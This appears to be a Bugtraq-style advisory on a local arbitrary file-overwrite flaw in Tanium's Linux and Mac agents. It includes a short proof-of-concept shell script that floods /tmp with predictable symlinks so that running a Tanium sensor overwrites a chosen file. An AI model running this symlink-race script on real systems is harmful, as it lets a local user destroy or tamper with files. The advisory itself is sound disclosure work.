Tanium Linux and Mac Systems Arbitrary File Overwrite Vulnerability

Bugtraq ID:	75044
Class:	Design Error
CVE:
Remote:	No
Local:	Yes
Published:	Jun 05 2015 12:00AM
Updated:	Jul 15 2015 12:24AM
Credit:	reek35
Vulnerable:
Not Vulnerable:

Tanium Linux and Mac Systems Arbitrary File Overwrite Vulnerability

Tanium is prone to an arbitrary file-overwrite vulnerability.

Successful exploits may allow an attacker to overwrite arbitrary files in the context of the user running the affected application.

Note: This issue was previously titled 'Tanium CVE-2015-1234 Arbitrary File Overwrite Vulnerability'. The title has been changed to better reflect the underlying component affected.

Tanium Linux and Mac Systems Arbitrary File Overwrite Vulnerability

An attacker can use readily available tools to exploit this issue.

The researcher who discovered this issue has created following proof-of-concept:

1. #!/bin/sh

i=0; j=$(cat /proc/sys/kernel/pid_max)
while true; do
ln -s $1 /tmp/tanium.$i
[ $i -eq $j ] && break
i=$((i+1))
done

2. Execute Established Connections sensor.

Tanium Linux and Mac Systems Arbitrary File Overwrite Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

Tanium Linux and Mac Systems Arbitrary File Overwrite Vulnerability

References: